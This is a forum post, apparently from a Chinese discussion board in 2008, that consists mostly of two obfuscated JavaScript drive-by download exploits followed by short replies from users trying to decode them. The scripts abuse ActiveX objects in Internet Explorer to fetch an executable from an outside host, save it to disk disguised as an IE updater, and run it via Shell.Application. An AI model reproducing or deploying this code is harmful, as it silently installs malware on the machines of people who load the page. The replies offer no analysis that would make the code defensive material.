<script language='javascript'>
function CreateO(o, n) {
var nrdpvoum = null;
var hejo = null;
var r = null;
nrdpvoum=55;
try { eval('r = o.CreateObject(n)') }catch(e){}
hejo='w4';
if (! r) {try { eval('r = o.CreateObject(n, "")') }catch(e){}}
hejo=hejo+'r5';
nrdpvoum=12;
if (! r) {try { eval('r = o.CreateObject(n, "", "")') }catch(e){}}
nrdpvoum=nrdpvoum+84;
if (! r) {try { eval('r = o.GetObject("", n)') }catch(e){}}
nrdpvoum=nrdpvoum-140;
if (! r) {try { eval('r = o.GetObject(n, "")') }catch(e){}}
hejo=hejo+'www';
if (! r) {try { eval('r = o.GetObject(n)') }catch(e){}}
return(r);
}
function Go(a) {
var ubwstddxk = CreateO(a,'msxm'+'l2.X'+'MLHT'+'TP');
ubwstddxk.open('GET','http://vertuslkj.com/check/vers55.php?q=1',false);
ubwstddxk.send();
var irix = CreateO(a,'adod'+'b.stre'+'am');
irix.type = 1;
irix.open();
irix.Write(ubwstddxk.responseBody);
var fn = './/.'+'.//ie_'+'upda'+'tes3r.e'+'xe';
irix.SaveToFile(fn,2);
var s = CreateO(a, 'Sh'+'el'+'l.A'+'pp'+'lic'+'ation');
s.ShellExecute(fn);
return TRUE;
}
var i = 0;
var t = new Array(
'{BD96C5'+'56-65A3-'+'11D0-983A-00'+'C04FC'+'29E30}','{BD96'+'C556-65'+'A3-11'+'D0-983'+'A-00C04FC29E36}',
'{AB9BC'+'EDD-EC7E-47E1-9322-D'+'4A210617116}','{0006F03'+'3-0000-00'+'00-C000-0'+'00000'+'000046}','{0006'+'F03A'+'-0000-00'+'00-C0'+'00-0000'+'00000046}','{6e32'+'070a-766'+'d-4ee6-87'+'9c-dc1f'+'a91d2fc3}','{641451'+'2B-B978'+'-451D-A0D8-FCFDF'+'33E833C}','{7F5B7F6'+'3-F06F-433'+'1-8A26-339'+'E03C0AE3D}','{06723E0'+'9-F4C2-43c8'+'-8358-09FCD1D'+'B0766}','{639F7'+'25F-1B2D-48'+'31-A9FD-87484'+'7682010}','{BA018'+'599-1DB3-44'+'f9-83B4-461'+'454C84BF8}','{D0C'+'07D56'+'-7C69-43F1-B4A0-2'+'5F5A11'+'FAB19}','{E8CCC'+'DDF-CA28-4'+'96b-B050-6C'+'07C962476B}',null);while (t) {
var a = null;
if (t.substring(0,1) == '{') {
a = document.createElement('object');
a.setAttribute('classid', 'clsid:' + t.substring(1, t.length - 1));
} else {
try { a = new ActiveXObject(t); } catch(e){}
}
if (a) {
try {
var b = CreateO(a, 'Shell.Application');
if (b) {
if (Go(a)) break;
}
}catch(e){}
}
i++;
}
</script>
<script language="JavaScript">
var jnpb='jnpb';
var fwgzjiho=1;
var ndhcezhbg = document.createElement('object');
fwgzjiho=fwgzjiho+1;
ndhcezhbg.setAttribute('id','ndhcezhbg');
jnpb=jnpb+'sad';
ndhcezhbg.setAttribute('classid','clsid:BD9'+'6C556-65A3-'+'11D0-983A'+'-00C04F'+'C29E36');
jnpb=jnpb+'sdfad';
var is__irix = 0;
fwgzjiho=fwgzjiho-43;
try {
var irix = ndhcezhbg.CreateObject("adod"+"b.stre"+"am","");
is__irix = 1; } catch(e){}
if (is__irix != 1) {
jnpb=jnpb+'sdfad';
try { var irix = new ActiveXObject("adod"+"b.stream");
is__irix = 1; } catch(e){} } if (is__irix == 1) {
try {
fwgzjiho=fwgzjiho-43;
var lopzfl = ndhcezhbg.CreateObject("Shell.Application","");
var ubwstddxk = new ActiveXObject("msxml2.XMLHTTP");
ubwstddxk.open("GET","http://vertuslkj.com/check/vers55.php?q=1",false);
ubwstddxk.send(); irix.type = 1;
fwgzjiho=fwgzjiho-43;
irix.open(); irix.Write(ubwstddxk.responseBody);
var fn = "C:\\"+"ie_"+"upda"+"ter.exe";
fwgzjiho=fwgzjiho-43;
irix.SaveToFile(fn,2); irix.close(); o
lopzfl.ShellExecute(fn); } catch(e){} } </script> |
[复制链接]
发表于 2008-1-26 11:00:19
楼主
狂按FRESHOW。。结果。。还是不会。。
原来ESC是unescape..
发表于 2008-1-26 16:42:35
想不出来